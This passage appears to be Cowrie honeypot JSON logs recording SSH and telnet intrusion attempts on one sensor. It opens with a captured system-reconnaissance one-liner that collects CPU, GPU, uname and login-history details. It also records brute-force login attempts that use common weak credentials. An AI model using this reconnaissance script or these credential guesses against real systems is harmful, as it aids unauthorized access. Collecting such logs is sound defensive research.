2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.436873Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.439974Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.443020Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.445957Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.449413Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.452011Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.455001Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.458790Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.462912Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.466708Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.557134Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:10.641388Z","src_ip":"91.92.40.4","session":"40d9a7d3bde6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37746,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ce2352a9a9","protocol":"telnet","message":"New connection: 170.64.224.25:37746 (159.203.135.109:23) [session: c6ce2352a9a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:12.161594Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37758,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e539929ccd1","protocol":"telnet","message":"New connection: 170.64.224.25:37758 (159.203.135.109:23) [session: 6e539929ccd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:14.022448Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37190,"dst_ip":"159.203.135.109","dst_port":22,"session":"523de1510eed","protocol":"ssh","message":"New connection: 160.187.174.22:37190 (159.203.135.109:22) [session: 523de1510eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:26.372692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:26.376035Z","src_ip":"160.187.174.22","session":"523de1510eed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:26.620536Z","src_ip":"160.187.174.22","session":"523de1510eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:27.355458Z","src_ip":"160.187.174.22","session":"523de1510eed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":37252,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6ea69b08974","protocol":"ssh","message":"New connection: 194.36.147.215:37252 (10.17.0.5:22) [session: f6ea69b08974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:28.432568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:28.436496Z","src_ip":"194.36.147.215","session":"f6ea69b08974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:28.522030Z","src_ip":"194.36.147.215","session":"f6ea69b08974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:28.608723Z","src_ip":"160.187.174.22","session":"523de1510eed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ton456","message":"login attempt [root/ton456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:28.789519Z","src_ip":"194.36.147.215","session":"f6ea69b08974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:29.877487Z","src_ip":"194.36.147.215","session":"f6ea69b08974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":35426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e779d941616b","protocol":"ssh","message":"New connection: 209.99.190.113:35426 (10.17.0.5:22) [session: e779d941616b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:33.609484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:33.613631Z","src_ip":"209.99.190.113","session":"e779d941616b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:33.709531Z","src_ip":"209.99.190.113","session":"e779d941616b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ABCdef","message":"login attempt [root/123ABCdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:34.132572Z","src_ip":"209.99.190.113","session":"e779d941616b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:35.231601Z","src_ip":"209.99.190.113","session":"e779d941616b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":21604,"dst_ip":"159.203.135.109","dst_port":22,"session":"34c57b0523c6","protocol":"ssh","message":"New connection: 38.93.206.2:21604 (159.203.135.109:22) [session: 34c57b0523c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:39.522748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:39.526788Z","src_ip":"38.93.206.2","session":"34c57b0523c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:39.579523Z","src_ip":"38.93.206.2","session":"34c57b0523c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"al1916","message":"login attempt [root/al1916] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:39.731395Z","src_ip":"38.93.206.2","session":"34c57b0523c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:40.787163Z","src_ip":"38.93.206.2","session":"34c57b0523c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.88973927497864,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:52.647450Z","src_ip":"170.64.224.25","session":"e5b7cc47a815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":36214,"dst_ip":"159.203.135.109","dst_port":22,"session":"fecccf9af8aa","protocol":"ssh","message":"New connection: 160.187.174.22:36214 (159.203.135.109:22) [session: fecccf9af8aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:54.269305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:54.276043Z","src_ip":"160.187.174.22","session":"fecccf9af8aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:54.511703Z","src_ip":"160.187.174.22","session":"fecccf9af8aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:55.489323Z","src_ip":"160.187.174.22","session":"fecccf9af8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:56.730697Z","src_ip":"160.187.174.22","session":"fecccf9af8aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.69400477409363,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:41:58.855448Z","src_ip":"170.64.224.25","session":"c6ce2352a9a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.74136161804199,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:01.763710Z","src_ip":"170.64.224.25","session":"6e539929ccd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":45396,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe17ecc5983","protocol":"ssh","message":"New connection: 160.187.174.22:45396 (159.203.135.109:22) [session: 6fe17ecc5983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:21.048856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:21.052859Z","src_ip":"160.187.174.22","session":"6fe17ecc5983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:21.283865Z","src_ip":"160.187.174.22","session":"6fe17ecc5983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:22.218088Z","src_ip":"160.187.174.22","session":"6fe17ecc5983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43900,"dst_ip":"159.203.135.109","dst_port":23,"session":"24481caa5581","protocol":"telnet","message":"New connection: 170.64.224.25:43900 (159.203.135.109:23) [session: 24481caa5581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:22.293379Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:23.456613Z","src_ip":"160.187.174.22","session":"6fe17ecc5983","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":49712,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed2704f9d873","protocol":"telnet","message":"New connection: 170.64.224.25:49712 (159.203.135.109:23) [session: ed2704f9d873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:34.801023Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54090,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9805725a572","protocol":"telnet","message":"New connection: 170.64.224.25:54090 (159.203.135.109:23) [session: b9805725a572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:42:41.582308Z"}
